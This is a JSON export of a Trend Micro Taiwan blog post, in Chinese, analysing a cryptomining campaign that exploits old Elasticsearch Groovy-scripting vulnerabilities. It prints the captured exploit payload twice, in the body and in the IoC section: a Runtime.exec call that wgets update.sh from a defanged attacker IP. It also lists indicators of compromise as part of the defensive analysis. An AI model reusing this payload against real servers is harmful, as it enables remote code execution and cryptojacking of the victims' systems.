{"id":58265,"date":"2018-12-21T09:00:25","date_gmt":"2018-12-21T01:00:25","guid":{"rendered":"https:\/\/blog.trendmicro.com.tw\/?p=58265"},"modified":"2018-12-19T11:51:00","modified_gmt":"2018-12-19T03:51:00","slug":"%e8%99%9b%e6%93%ac%e8%b2%a8%e5%b9%a3%e7%97%85%e6%af%92%e9%80%8f%e9%81%8e-elasticsearch-%e8%88%8a%e6%bc%8f%e6%b4%9e%e6%95%a3%e6%92%ad","status":"publish","type":"post","link":"https:\/\/blog.trendmicro.com.tw\/?p=58265","title":{"rendered":"\u865b\u64ec\u8ca8\u5e63\u75c5\u6bd2\u900f\u904e Elasticsearch \u820a\u6f0f\u6d1e\u6563\u64ad"},"content":{"rendered":"<p>\u8da8\u52e2\u79d1\u6280\u66fe\u5728\u871c\u7f50\u7cfb\u7d71\u4e0a\u767c\u73fe\u4e86\u95dc\u65bc\u641c\u5c0b\u5f15\u64ce Elasticsearch \uff08\u7528Lucene\u7a0b\u5f0f\u5eab\u958b\u767c\u7684\u958b\u653e\u539f\u59cb\u78bcJava\u641c\u5c0b\u5f15\u64ce\uff09\u7684\u60e1\u610f<a href=\"https:\/\/blog.trendmicro.com.tw\/?p=56134\">\u6316\u7926( coinmining )<\/a>\u6d3b\u52d5\u3002\u9019\u6ce2\u653b\u64ca\u5229\u7528\u4e86\u6f0f\u6d1e<a href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2015-1427\">CVE-2015-1427<\/a>\uff08\u4f4d\u5728Groovy \u8173\u672c\u5f15\u64ce\uff0c\u8b93\u9060\u7aef\u653b\u64ca\u8005\u53ef\u4ee5\u7528\u7279\u88fd\u8173\u672c\u4f86\u57f7\u884c\u4efb\u610f shell \u547d\u4ee4\uff09\u4ee5\u53ca<a href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2014-3120\">CVE-2014-320<\/a>\uff08Elasticsearch\u9810\u8a2d\u8a2d\u5b9a\u5167\u7684\u6f0f\u6d1e\uff09\u3002Elasticsearch\u5df2\u7d93\u4e0d\u518d\u652f\u63f4\u6709\u6f0f\u6d1e\u7684\u7248\u672c\u3002<\/p>\n<p>\u6211\u5011\u5728\u904b\u884cElasticsearch\u7684\u4f3a\u670d\u5668\u4e0a\u767c\u73fe\u5e36\u6709\u4ee5\u4e0b\u547d\u4ee4\u7684\u67e5\u8a62\uff08ISC\u4e5f\u5728\u4e00\u7bc7\u6587\u7ae0\u4e2d<a href=\"https:\/\/isc.sans.edu\/diary\/rss\/24364\">\u63d0\u5230<\/a>\uff09\uff1a<\/p>\n<p>\u201c{\u201clupin\u201d:{\u201cscript\u201d: \u201cjava.lang.Math.class.forName(\\\u201djava.lang.Runtime\\\u201d).getRuntime().exec(\\\u201dwget hxxp:\/\/69[.]30[.]203[.]170\/gLmwDU86r9pM3rXf\/update.sh -P<\/p>\n<p>\/tmp\/sssooo\\\u201d).getText()\u201d}}}\u201d<\/p>\n<p><a href=\"https:\/\/blog.trendmicro.com.tw\/wp-content\/uploads\/2018\/08\/cryptocurrency.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-56404\" src=\"https:\/\/blog.trendmicro.com.tw\/wp-content\/uploads\/2018\/08\/cryptocurrency.jpg\" alt=\"\" width=\"800\" height=\"529\" data-wp-pid=\"56404\" srcset=\"https:\/\/blog.trendmicro.com.tw\/wp-content\/uploads\/2018\/08\/cryptocurrency.jpg 800w, https:\/\/blog.trendmicro.com.tw\/wp-content\/uploads\/2018\/08\/cryptocurrency-300x198.jpg 300w, https:\/\/blog.trendmicro.com.tw\/wp-content\/uploads\/2018\/08\/cryptocurrency-768x508.jpg 768w, https:\/\/blog.trendmicro.com.tw\/wp-content\/uploads\/2018\/08\/cryptocurrency-600x397.jpg 600w, https:\/\/blog.trendmicro.com.tw\/wp-content\/uploads\/2018\/08\/cryptocurrency-30x20.jpg 30w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/a><\/p>\n<p>\u9019\u547d\u4ee4\u662f\u7531\u540c\u500b\u7cfb\u7d71\/\u653b\u64ca\u4e3b\u6a5f\u57f7\u884c\uff0c\u5f8c\u7e8c\u75c5\u6bd2\u4e5f\u662f\u653e\u5728\u6b64\u4e3b\u6a5f\u4e0a\u3002\u5728\u672c\u6587\u7de8\u5beb\u6642\uff0c\u4f7f\u7528\u6b64IP\u7684\u662f\u7db2\u57df<em>matrixhazel[.]com<\/em>\uff08\u7121\u6cd5\u9023\u4e0a\uff09\u3002\u6b64\u7cfb\u7d71\u5b89\u88dd\u7684\u662fCentOS 6\uff0c\u540c\u6642\u904b\u884c\u4e86\u7db2\u9801\u4f3a\u670d\u5668\u548cSSH\u4f3a\u670d\u5668\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/files\/2018\/12\/greynoise-fig1.png\" alt=\"Figure 1. GreyNoise marked the host as a known scanner\" \/><\/p>\n<p><em>\u57161<\/em><em>\u3001GreyNotes<\/em><em>\u5c07\u6b64\u9019\u4e3b\u6a5f\u6a19\u8a18\u70ba\u5df2\u77e5\u6383\u63cf\u5668<\/em><\/p>\n<p>&nbsp;<\/p>\n<p>\u8981\u6ce8\u610f\u7684\u662f\uff0c\u9019\u7a2e\u653b\u64ca\u4e26\u4e0d\u65b0\u9bae\uff0c\u53ea\u662f\u6700\u8fd1\u53c8\u91cd\u65b0\u51fa\u73fe\u3002\u8da8\u52e2\u79d1\u6280\u7684Smart Protection Network 11\u6708\u5728\u591a\u500b\u5730\u5340\u5075\u6e2c\u5230<a href=\"https:\/\/blog.trendmicro.com.tw\/?p=50965\">\u865b\u64ec\u8ca8\u5e63<\/a>\u6316\u7926\u75c5\u6bd2\uff0c\u5305\u62ec\u4e86\u53f0\u7063\u3001\u4e2d\u570b\u548c\u7f8e\u570b\u3002<\/p>\n<p>\u6316\u7926\u75c5\u6bd2\u6563\u64adbash\u8173\u672c<em>update.sh<\/em>\u7684\u65b9\u5f0f\u662f\u5148\u8abf\u7528shell\u4f86\u4e0b\u8f09\u4e26\u8f38\u51fa\u6210\u6a94\u6848\u201c<em>\/tmp\/sssooo<\/em>\u201c\uff08\u56e0\u70ba\u5927\u591a\u6578\u7cfb\u7d71\u5c0d\/tmp\u7684\u9650\u5236\u8f03\u5c11\uff09\u3002<\/p>\n<p>\u9019\u7a2e\u653b\u64ca\u7c21\u55ae\u537b\u6703\u5c0d\u53d7\u5bb3\u8005\u7522\u751f\u91cd\u5927\u7684\u5f71\u97ff\u3002\u4e00\u65e6\u653b\u64ca\u8005\u53ef\u4ee5\u5728\u7cfb\u7d71\u4e0a\u57f7\u884c\u4efb\u610f\u547d\u4ee4\uff0c\u5c31\u53ef\u4ee5\u63d0\u5347\u6b0a\u9650\uff0c\u751a\u81f3\u5c07\u76ee\u6a19\u8f49\u5411\u5176\u4ed6\u7cfb\u7d71\u4f86\u9032\u4e00\u6b65\u5730\u5165\u4fb5\u7db2\u8def\u3002<\/p>\n<p>\u9084\u61c9\u8a72\u6ce8\u610f\u7684\u662f\uff0c\u96d6\u7136\u5927\u591a\u6578\u6848\u4f8b\u7684\u653b\u64ca\u624b\u6cd5\u76f8\u540c\uff0c\u4f46\u6240\u4f7f\u7528\u7684\u60e1\u610f\u6a94\u6848\u53ef\u80fd\u4e0d\u540c\u3002\u5728\u6211\u5011\u6240\u5206\u6790\u7684\u6848\u4f8b\u4e2d\uff0c\u4f7f\u7528\u7684\u662f<em>update.sh<\/em>\u3002\u4e00\u4f46\u57f7\u884c\u8173\u672c<em>update.sh<\/em>\u5c31\u6703\u4e0b\u8f09\u6a94\u6848<em>devtools<\/em>\u548c<em>config.json<\/em>\u3002\u63a5\u8457\u5c31\u6703\u90e8\u7f72\u865b\u64ec\u8ca8\u5e63\u6316\u7926\u75c5\u6bd2\uff08\u8da8\u52e2\u79d1\u6280\u5075\u6e2c\u70ba Coinminer.Linux.MALXMR.UWEIS)\u3002<!--more--><\/p>\n<p>\u5be6\u969b\u7684\u6316\u7926\u7a0b\u5f0f\u662fELF64\u4e8c\u9032\u4f4d\u6a94\u6848 \u2013 <em>devtools<\/em>\uff0c\u9019\u6a94\u540d\u53ef\u4ee5\u507d\u88dd\u81ea\u5df1\uff0c\u56e0\u70ba\u201c<em>devtools<\/em>\u201d\u4e5f\u662fGitHub \u7684\u6b63\u5e38\u5de5\u5177\u3002\u6316\u7926\u7a0b\u5f0f\u6703\u4f7f\u7528<em>config.json<\/em>\u5167\u7684\u8a2d\u5b9a\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/files\/2018\/12\/config-json-fig2.jpg\" alt=\"Figure 2. Details of the configuration file config.json\" \/><\/p>\n<p><em>\u57162<\/em><em>\u3001\u8a2d\u5b9a\u6a94config.json<\/em><em>\u7684\u8a73\u7d30\u8cc7\u8a0a.<\/em><\/p>\n<p>&nbsp;<\/p>\n<p>\u9019\u985e\u624b\u6cd5\u5df2\u7d93\u88ab\u5ee3\u6cdb\u5730\u4f7f\u7528\uff0c\u4e0d\u904e\u5c01\u88dd\u7684bash \u8173\u672c\u9084\u5177\u5099\u5176\u4ed6\u5e7e\u500b\u6709\u8da3\u7684\u51fd\u5f0f\u3002\u7de8\u78bc\u98a8\u683c\u8ddf\u99ed\u5ba2\u5de5\u5177\u975e\u5e38\u76f8\u4f3c\uff0c\u90e8\u5206\u7a0b\u5f0f\u78bc\u4e5f\u51fa\u73fe\u5728\u4e4b\u524d\u7684Xbash\u76f8\u95dc<a href=\"https:\/\/blog.elevenpaths.com\/2018\/09\/analizamos-infraestructura-malware-xbash.html\">\u6848\u4f8b<\/a>\u4e2d\u3002<\/p>\n<p>&nbsp;<\/p>\n<p><strong><em>\u865b\u64ec\u8ca8\u5e63\u75c5\u6bd2\u5982\u4f55\u88ab\u90e8\u7f72 ?<\/em><\/strong><\/p>\n<p>\u6316\u7926\u75c5\u6bd2\u7531\u4e09\u500b\u6a94\u6848\u7d44\u6210\uff0c\u900f\u904ebash\u7684wget\u3001curl\u6216url\u547d\u4ee4\u4e0b\u8f09\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/files\/2018\/12\/wget-curl-url-fig3.png\" alt=\"Figure 3. wget, curl, and url commands\" \/><\/p>\n<p><em>\u57163<\/em><em>\u3001wget<\/em><em>\u3001curl<\/em><em>\u548curl<\/em><em>\u547d\u4ee4<\/em><\/p>\n<p>&nbsp;<\/p>\n<p>\u6316\u7926\u75c5\u6bd2\u6703\u4e0b\u8f09\u4e0b\u5217\u6a94\u6848\uff1a<\/p>\n<ul>\n<li>devtools \u2013\u5be6\u969b\u6316\u7926\u7a0b\u5f0f\uff1b<\/li>\n<li>sh\u2013\u7528\u4f86\u4e0b\u8f09\u6240\u6709\u5143\u4ef6\u7684bash\u8173\u672c\uff08\u8a72\u8173\u672c\u4e5f\u6703\u5728\u653b\u64ca\u671f\u9593\u57f7\u884c\uff09\uff1b<\/li>\n<li>json\u2013\u6316\u7926\u7a0b\u5f0f\u7684\u8a2d\u5b9a\u6a94\u3002<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p>\u5b83\u6703\u5148\u8a66\u8457\u5c07\u6a94\u6848\u5132\u5b58\u5230&#8221;\/etc\/&#8221;\u8cc7\u6599\u593e\uff0c\u63a5\u8457\u5617\u8a66&#8221;\/tmp&#8221;\u4ee5\u9632\u5931\u6557\u3002\u5f8c\u8005\u5728\u6211\u5011\u7684\u4f8b\u5b50\u4e2d\u6210\u529f\u4e86\u3002\u63a5\u8457\u5b83\u6703\u6aa2\u67e5\u7cfb\u7d71\u5167\u662f\u5426\u6709\u5176\u4ed6\u6b63\u5728\u9032\u884c\u7684\u6316\u7926\u6d3b\u52d5\u3002\u5b83\u6703\u5047\u8a2d\u7cfb\u7d71\u5df2\u88ab\u653b\u64ca\u904e\uff0c\u4e26\u5f9e\u4e4b\u524d\u7684\u653b\u64ca\u8005\u624b\u4e2d\u52ab\u6301\u8a72\u7cfb\u7d71\u3002\u6b64\u904e\u7a0b\u9084\u53ef\u4ee5\u7528\u4f86\u5c07\u904b\u884c\u4e2d\u7684\u6316\u7926\u75c5\u6bd2\u66f4\u65b0\u5230\u8f03\u65b0\u7248\u672c\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/files\/2018\/12\/other-miners-fig4.jpg\" alt=\"Figure 4. Sample of commands that allow the miner to eliminate other existing miners\" \/><\/p>\n<p><em>\u57164<\/em><em>\u3001\u5141\u8a31\u6316\u7926\u75c5\u6bd2\u6e05\u9664\u73fe\u6709\u6316\u7926\u7a0b\u5f0f\u7684\u547d\u4ee4\u7bc4\u4f8b<\/em><\/p>\n<p>&nbsp;<\/p>\n<p>\u5982\u679c\u5b83\u5075\u6e2c\u5230\u7cfb\u7d71\u5167\u7684\u5176\u4ed6\u6316\u7926\u7a0b\u5f0f\uff0c\u5c07\u6703\u7d42\u6b62\u6316\u7926\u76f8\u95dc\u7a0b\u5e8f\u3002\u5b83\u9084\u6703\u91cd\u7f6ecrontab\uff0c\u8b93cron\u4e0d\u518d\u555f\u52d5\u5176\u4ed6\u6316\u7926\u7a0b\u5f0f\u3002<\/p>\n<p align=\"center\"><a class=\"fancybox\" href=\"https:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/files\/2018\/12\/processes-other-miners-fig5.png\" data-fancybox=\"gallery\"><img decoding=\"async\" src=\"https:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/files\/2018\/12\/processes-other-miners-fig5.png\" \/><\/a><\/p>\n<p align=\"center\"><a class=\"fancybox\" href=\"https:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/files\/2018\/12\/processes-other-miners-fig5-1.png\" data-fancybox=\"gallery\"><img decoding=\"async\" src=\"https:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/files\/2018\/12\/processes-other-miners-fig5-1.png\" alt=\"Figure 5. Processes of other miners found in the system will be killed\" width=\"212\" \/><\/a><\/p>\n<p><em>\u57165<\/em><em>\u3001\u7cfb\u7d71\u5167\u767c\u73fe\u7684\u5176\u4ed6\u6316\u7926\u7a0b\u5e8f\u6703\u88ab\u7d42\u6b62<\/em><\/p>\n<p>&nbsp;<\/p>\n<p>\u6316\u7926\u75c5\u6bd2\u6703\u5c07\u81ea\u5df1\u52a0\u9032crontab\uff0c\u6240\u4ee5\u6703\u6bcf10\u5206\u9418\u57f7\u884c\u4e00\u6b21\u3002\u6bcf\u6b21\u57f7\u884c\u958b\u59cb\u6642\u90fd\u6703\u5148\u7528&#8221;chatr-i&#8221;\u89e3\u9396\u81ea\u5df1\u4e26\u66f4\u65b0\uff0c\u800c\u5728\u6bcf\u6b21\u57f7\u884c\u7d50\u675f\u6642\u90fd\u6703\u7528&#8221;chattr + i&#8221;\u4f86\u4fdd\u8b77\u6a94\u6848\uff0c\u9632\u6b62\u6a94\u6848\u88ab\u5176\u4ed6\u8f03\u4f4e\u6b0a\u9650\u7684\u4f7f\u7528\u8005\u4fee\u6539\u6216\u522a\u9664\u3002\u5b83\u9084\u6703\u6e05\u7a7a\u6b77\u53f2\u65e5\u8a8c\u4f86\u6e05\u9664\u8db3\u8de1\uff08\u5982\u57168\u6240\u793a\uff09\u3002\u6709\u8da3\u662f\uff0c\u7576\u8173\u672c\u5728\u6839\u76ee\u9304\u57f7\u884c\u6642\u6703\u8a66\u8457\u5c07\u81ea\u5df1\u7684ssh\u91d1\u9470\u52a0\u5165authorized_keys\uff08\u8b93\u81ea\u5df1\u53ef\u4ee5\u4e0d\u7528\u5bc6\u78bc\u5c31\u767b\u9304\uff09\u3002\u4e0d\u77e5\u70ba\u4f55\uff0c\u597d\u50cf\u5f04\u932f\u4e86\u547d\u4ee4\u9806\u5e8f\uff0c\u5c0e\u81f4authorized_key\u6703\u5728\u91d1\u9470\u52a0\u5165\u5f8c\u5c31\u522a\u9664\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/files\/2018\/12\/miner-protection-persistence-encryption-fig6.png\" alt=\"Figure 6. Other miner capabilities: components protection, persistence via crontab, and network traffic encryption\" \/><\/p>\n<p><em>\u57166<\/em><em>\u3001\u5176\u4ed6\u6316\u7926\u75c5\u6bd2\u529f\u80fd\uff1a\u4fdd\u8b77\u5143\u4ef6\u3001\u900f\u904ecrontab<\/em><em>\u9054\u6210\u6301\u7e8c\u6027\u548c\u52a0\u5bc6\u7db2\u8def\u6d41\u91cf<\/em><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/files\/2018\/12\/miner-iptables-fig7.png\" alt=\"Figure 7. Miner modifies the iptables\/firewall in the system\" \/><\/p>\n<p><em>\u57167<\/em><em>\u3001\u6316\u7926\u75c5\u6bd2\u4fee\u6539\u7cfb\u7d71\u7684iptables\/<\/em><em>\u9632\u706b\u7246<\/em><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/files\/2018\/12\/miner-history-removal-empty-files-fig8.png\" alt=\"Figure 8. Miner cleans its track by removing the history and emptying files\" \/><\/p>\n<p><em>\u57168<\/em><em>\u3001\u6316\u7926\u75c5\u6bd2\u6703\u522a\u9664\u6b77\u53f2\u8a18\u9304\u548c\u6e05\u7a7a\u6a94\u6848\u4f86\u6e05\u9664\u8db3\u8de1<\/em><\/p>\n<p>&nbsp;<\/p>\n<p><strong><em>\u7d50\u8ad6\u548c\u5efa\u8b70<\/em><\/strong><\/p>\n<p>&nbsp;<\/p>\n<p>\u70ba\u4e86\u9632\u6b62\u5229\u7528 Elasticsearch\u6f0f\u6d1e\u7684\u653b\u64ca\uff0c\u5fc5\u9808\u8981\u5b9a\u671f\u4fee\u88dc\u7cfb\u7d71\u4e26\u4f7f\u7528\u5ba2\u88fd\u5316\u898f\u5247\u4f86\u9032\u884c\u5b89\u5168\u76e3\u8996\uff0c\u5f9e\u800c\u80fd\u5920\u5075\u6e2c\u57fa\u672c\u4e8b\u4ef6\u53ca\u8907\u96dc\u7684\u8b66\u8a0a\u3002<\/p>\n<p>\u6709\u8a31\u591aElasticsearch\u906d\u9047\u547d\u4ee4\u52ab\u6301\u7684\u5be6\u969b\u6848\u4f8b\u51fa\u73fe\uff0c\u5b83\u5011\u6709\u4e00\u4e9b\u5171\u540c\u9ede\uff1a<\/p>\n<ul>\n<li>\u90fd\u6703\u8abf\u7528shell\u4f86\u57f7\u884c\u547d\u4ee4\uff1b<\/li>\n<li>\u90fd\u6703\u5305\u542b\u5f9e\u9060\u7aef\/\u672c\u5730\u4f4d\u7f6e\u4e0b\u8f09\u6a94\u6848\u7684\u547d\u4ee4\uff0c\u5982crul\u3001wget\u3001url\u3001ftp\/get\u7b49\u7b49\uff1b<\/li>\n<li>\u6703\u5c07\u6a94\u6848\u4e0b\u8f09\u5230&#8221;\/etc&#8221;\u6216&#8221;\/tmp&#8221;\uff1b<\/li>\n<li>\u901a\u5e38\u90fd\u6703\u8f2a\u6d41\u4f86\u9032\u884c\u5617\u8a66\uff1b\u50cf\u662f\u8a66\u8457\u5f9e\u6240\u6709\u53ef\u80fd\u4e0b\u8f09\u4f4d\u7f6e\u4f86\u4e0b\u8f09\u6a94\u6848\uff0c\u9084\u6703\u5617\u8a66\u6240\u6709\u53ef\u80fd\u5728\u7cfb\u7d71\u4e0a\u57f7\u884c\u7684\u547d\u4ee4\uff08\u4ee5\u4fbf\u4e0b\u8f09\u60e1\u610f\u6a94\u6848\uff09\u3002<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p>\u5075\u6e2c\u76f8\u95dc\u653b\u64ca\u5f88\u91cd\u8981\uff0c\u53ef\u4ee5\u900f\u904e\u4ee5\u4e0b\u4f5c\u6cd5\u9032\u884c\uff1a<\/p>\n<ul>\n<li>\u8a18\u9304Elasticsearch\u7684\u4f7f\u7528\uff0c\u76e3\u8996\u53ef\u80fd\u5c6c\u65bc\u547d\u4ee4\u6ce8\u5165\u7684\u5b57\u4e32\u3002<\/li>\n<li>\u76e3\u8996\u7cfb\u7d71\u884c\u70ba\u3002Shell\u53ea\u80fd\u7531\u6388\u6b0a\u7684\u4f7f\u7528\u8005\u548c\u8edf\u9ad4\u4f7f\u7528\u3002<\/li>\n<\/ul>\n<p>\u7d93\u7531\u95dc\u806f\u6280\u8853\u4f86\u5206\u985e\u7db2\u8def\u6d41\u91cf\u3002\u5728\u6211\u5011\u7684\u6848\u4f8b\u4e2d\uff0c\u6bcf\u5341\u5206\u9418\u5c31\u6703\u9023\u4e0a\u4e00\u6b21\u60e1\u610fIP\u3002\u53ea\u8981\u843d\u5be6\u6b63\u78ba\u7684\u7db2\u8def\u76e3\u63a7\u6d41\u7a0b\u548c\u6d41\u91cf\u5206\u6790\u5c31\u53ef\u4ee5\u8f15\u6613\u5730\u767c\u73fe\u3002<\/p>\n<p>\u4f7f\u7528\u8005\u53ef\u4ee5\u8003\u616e\u63a1\u7528\u900f\u904e\u8de8\u4e16\u4ee3\u6df7\u5408\u5a01\u8105\u9632\u8b77\u6280\u8853\u4f86\u62b5\u79a6\u865b\u64ec\u8ca8\u5e63\u75c5\u6bd2\u7684\u5b89\u5168\u89e3\u6c7a\u65b9\u6848\u3002<a href=\"https:\/\/www.trendmicro.tw\/business\/xgen-security.html\">\u8da8\u52e2\u79d1\u6280XGen&#x2122; \u9632\u8b77<\/a>\u63d0\u4f9b\u9ad8\u4fdd\u771f\u6a5f\u5668\u5b78\u7fd2\u529f\u80fd\u4f86\u9632\u8b77<a href=\"https:\/\/www.trendmicro.tw\/tw\/business\/complete-software-protection\/index.html\">\u9598\u9053<\/a>\u00a0\u548c<a href=\"https:\/\/www.trendmicro.tw\/tw\/business\/complete-software-protection\/index.html\">\u7aef\u9ede<\/a>\uff0c\u4fdd\u8b77\u5be6\u9ad4\u3001\u865b\u64ec\u548c\u96f2\u7aef\u7684\u5de5\u4f5c\u74b0\u5883\u3002\u900f\u904e\u7db2\u9801\/\u7db2\u5740\u904e\u6ffe\u3001\u884c\u70ba\u5206\u6790\u548c\u5ba2\u88fd\u5316\u6c99\u76d2\u7b49\u529f\u80fd\uff0cXGen\u5b89\u5168\u9632\u8b77\u6280\u8853\u53ef\u4ee5\u62b5\u79a6\u4eca\u65e5\u4e0d\u65b7\u9032\u5316\uff0c\u7279\u88fd\u4f86\u7e5e\u904e\u50b3\u7d71\u5b89\u5168\u9632\u8b77\u548c\u653b\u64ca\u5df2\u77e5\u53ca\u672a\u77e5\u6f0f\u6d1e\u7684\u60e1\u610f\u5a01\u8105\u3002XGen\u9632\u8b77\u6280\u8853\u9a45\u52d5\u8457\u8da8\u52e2\u79d1\u6280\u4e00\u7cfb\u5217\u7684\u9632\u8b77\u89e3\u6c7a\u65b9\u6848\uff1a<a href=\"https:\/\/www.trendmicro.tw\/tw\/business\/cloud-data\/index.html\">Hybrid Cloud Security\u6df7\u5408\u96f2\u9632\u8b77<\/a>\uff0c<a href=\"https:\/\/www.trendmicro.com\/zh_tw\/business\/products\/user-protection.html\">User Protection \u4f7f\u7528\u8005\u9632\u8b77<\/a>\u548c<a href=\"https:\/\/www.trendmicro.com\/zh_tw\/business\/products\/network.html\">Network Defense\u7db2\u8def\u9632\u79a6<\/a>\u3002<\/p>\n<p><strong><em>\u5165\u4fb5\u6307\u6a19\uff08IoC<\/em><\/strong><strong><em>\uff09<\/em><\/strong><\/p>\n<p>&nbsp;<\/p>\n<table  class=\" table table-hover\" style=\"height: 103px;\" width=\"865\">\n<tbody>\n<tr>\n<td colspan=\"3\"><strong>\u76f8\u95dc\u96dc\u6e4a\u503c\uff08SHA<\/strong><strong>-256<\/strong><strong>\uff09<\/strong><\/td>\n<\/tr>\n<tr>\n<td width=\"501\">191f1126f4b4b1b1b1449ec248ab60b354f2066b45287cd1bd23bd39bd392a8c<\/td>\n<td width=\"68\"><em>devtools<\/em><\/td>\n<td width=\"231\">Coinminer.Linux.MALXMR.UWEIS<\/td>\n<\/tr>\n<tr>\n<td width=\"501\">d3e1231d1429dccb47caf0c1c46d2eb24afe33887b31a818b8f07f0406db2637<\/td>\n<td width=\"68\"><em>updath. sh<\/em><\/td>\n<td width=\"231\">Coinminer.SH.MALXMR.ATNL<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>69.30.211.82 \u2013 \u653b\u64ca\u8005<\/p>\n<p>69.30.203.170<\/p>\n<p>&nbsp;<\/p>\n<p>Elasticsearch\u4e2d\u6240\u7528\u5230\u7684\u547d\u4ee4\uff1a<\/p>\n<p>&nbsp;<\/p>\n<p><em>\u201c{\u201clupin\u201d:{\u201cscript\u201d: \u201cjava.lang.Math.class.forName(\\\u201djava.lang.Runtime\\\u201d).getRuntime().exec(\\\u201dwget hxxp:\/\/69[.]30[.]203[.]170\/gLmwDU86r9pM3rXf\/update.sh -P \/tmp\/sssooo\\\u201d).getText()\u201d}}}\u201d<\/em><\/p>\n<p>&nbsp;<\/p>\n<p>\u6709\u554f\u984c\u7684Elasticsearch\u7248\u672c\uff1a1.4.1<\/p>\n<p>&nbsp;<\/p>\n<p>@\u539f\u6587\u51fa\u8655\uff1a<a href=\"https:\/\/blog.trendmicro.com\/trendlabs-security-intelligence\/cryptocurrency-miner-spreads-via-old-vulnerabilities-on-elasticsearch\/\">Cryptocurrency Miner Spreads via Old Vulnerabilities on Elasticsearch<\/a>\u4f5c\u8005\uff1aJindrich Karasek\u548cLoseway Lu<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u8da8\u52e2\u79d1\u6280\u66fe\u5728\u871c\u7f50\u7cfb\u7d71\u4e0a\u767c\u73fe\u4e86\u95dc\u65bc\u641c\u5c0b\u5f15\u64ce Elasticsearch \uff08\u7528Lucene\u7a0b\u5f0f\u5eab\u958b\u767c\u7684\u958b\u653e\u539f\u59cb\u78bcJ [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":"","_wpscppro_dont_share_socialmedia":false,"_wpscppro_custom_social_share_image":0,"_facebook_share_type":"","_twitter_share_type":"","_linkedin_share_type":"","_pinterest_share_type":"","_linkedin_share_type_page":"","_instagram_share_type":"","_medium_share_type":"","_threads_share_type":"","_google_business_share_type":"","_selected_social_profile":[],"_wpsp_enable_custom_social_template":false,"_wpsp_social_scheduling":{"enabled":false,"datetime":null,"platforms":[],"status":"template_only","dateOption":"today","timeOption":"now","customDays":"","customHours":"","customDate":"","customTime":"","schedulingType":"absolute"},"_wpsp_active_default_template":true},"categories":[3373,3654,156],"tags":[4131,3575,452,3723],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=\/wp\/v2\/posts\/58265"}],"collection":[{"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=58265"}],"version-history":[{"count":0,"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=\/wp\/v2\/posts\/58265\/revisions"}],"wp:attachment":[{"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=58265"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=58265"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=58265"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}